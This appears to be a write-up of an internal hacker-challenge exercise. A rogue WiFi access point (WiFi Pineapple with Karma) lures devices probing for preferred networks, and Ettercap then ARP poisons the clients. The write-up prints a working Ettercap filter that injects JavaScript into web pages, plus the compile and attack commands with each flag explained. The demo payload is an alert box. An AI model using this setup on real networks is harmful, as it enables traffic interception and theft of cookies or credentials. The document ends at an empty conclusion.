#javascript injection

Introduction

Many wireless devices persist the list of wireless networks they have connected to in the past. On the Microsoft Windows Operating system this list of networks is called the “Preferred Networks”.  When the operating system is booted and if the Wi-Fi network interface is enabled, the operating system will begin transmitting specifically crafted packets called a probe request frame. These request frames are responsible for determining which access points are in range; they belong of the Management Frames defined in the 802.11 specification. Two types of probe requests are sent: generic probe requests, to determine all Access Points available in range, along with specific probe requests for each of the networks in the Preferred Network List.

Vulnerability

Devices broadcasting their Preferred Network List by trying to identify if a network is in range put themselves in a position that may allow an attacker to impersonate a network. An attacker can configure an Access Point to respond with Probe Response frames that indicates to the probing devices they can associate with it. This forces the probing devices to connect to the impersonated network where an attacker can capture and manipulate the traffic. More advanced attacks can also be launched to distribute malware or attempt to compromise the end-user machines.

Hardware

Any consumer grade wireless router supporting custom firmware can be flashed with an open-source custom firmware. Most consumer grade wireless routers are loaded with a Linux-like operating system.  For this attack the specific piece of hardware used was an Alfa AP121-8MB access point.

                                        Fig 1 – Image of hardware used for hacker challenge

Software

The access point used in the attack supports custom firmware as it runs an operating system that is for embedded devices; the operating system is a Linux distribution which allows for modular deployment of various packages.

The software installed on the device for the hacker challenge was the modified Jasager software from wifipineapple.com.

The software tools required to launch the attack and inject HTML code were already preloaded on the device.

The only tools required for use on the flash were ettercap and karma.

Configuration

NOTE: All the configuration details required to set up the impersonating access point are covered in the document from last year’s hacker challenge. The device used for this year’s hacker challenge automated many of the configurations, this allowed for a quicker turn around in the implementation of the attack.

The device has two interfaces for configuring it. The device can be configured by a web interface which was installed when initially setting up the device, or through a command line interface which can be accessed using SSH. The preferred method of configuration for this attack was to use SSH.

The scenario’s configuration required the device to have a bridged connection to a live internet connection. This allowed all the clients of the network to get a live internet connection further making it appear to the clients as if nothing have occurred.

Attack

The attack was launched once the configuration of the device was complete; the rouge access point was deployed in the target environment. The access point does not require power from an outlet as it can be powered by a battery pack, however for this challenge an outlet was used as the target environment was the office.

Once clients were connected to the rogue network AP, we were then able to run Ettercap and perform an ARP poisoning attack.  This was required to allow Ettercap to get visibility to the network traffic.

Ettercap has a feature that allows users to manipulate the traffic running through the device on which it is running on. This feature was used to write a short filter as it is called in Ettercap to inject JavaScript. The payload of this injection was harmless; it displayed an alert box on the end-users browser indicating that the code was successfully injected. The code then resides on the end-users browser cache until they clear the cache. The attack results in a cache poisoning attack. ;) The payloads which can be provided in the injection step can be malicious. They can harvest cookies from the browser, install a keylogger, and or even modify the structure of the page as it is displayed on the end-users browser to harvest PII data.

if (ip.proto == TCP && tcp.dst == 80) {    if (search(DATA.data, "Accept-Encoding")) {        replace("Accept-Encoding", "Accept-Rubbishh");        # note: replacement string is same length as original string        msg("zapped Accept-Encoding!\n");    } } if (ip.proto == TCP && tcp.src == 80) {     replace("</head>", "</head><script type=\"text/javascript\">alert('jim was here');</script>");     msg("Code injected at </head>... injecting javascript\n"); }

The code required to implement the attack was minimal and can be found below. It is the implementation of the Ettercap filter.

etterfilter myFilter.filter –o a.ef The above filter was compiled into a binary format which Ettercap requires by executing the Etterfilter application. ettercap –Tq –F a.ef –i br-lan –M ARP:remote // // -P autoadd The filter is the used with Ettercap to launch the attack. The syntax used for Ettercap is: The parameters provided to the application are: -T                           - Launch app in text mode -q                          - Do not be verbose -F a.ef                    - Execute filter a.ef against all network traffic -i br-lan                - Use interface br-lan on the access point -M ARP:remote  - Man In The Middle Attack using an ARP poison attack on all hosts on the network // //                      - Empty filter; do not performing an attack against a specific target, perform on all -P autoadd           - Execute the autoadd Ettercap plugin automatically to ARP poison new clients Below are screenshots of the end user’s machine once they are attacked. If a different payload was used, then no indication would be present on the users browser.

Fig 2 – Browser when trying to visit cnn.com

Fig 3 – Evidence of injected code on HTML page

Conclusion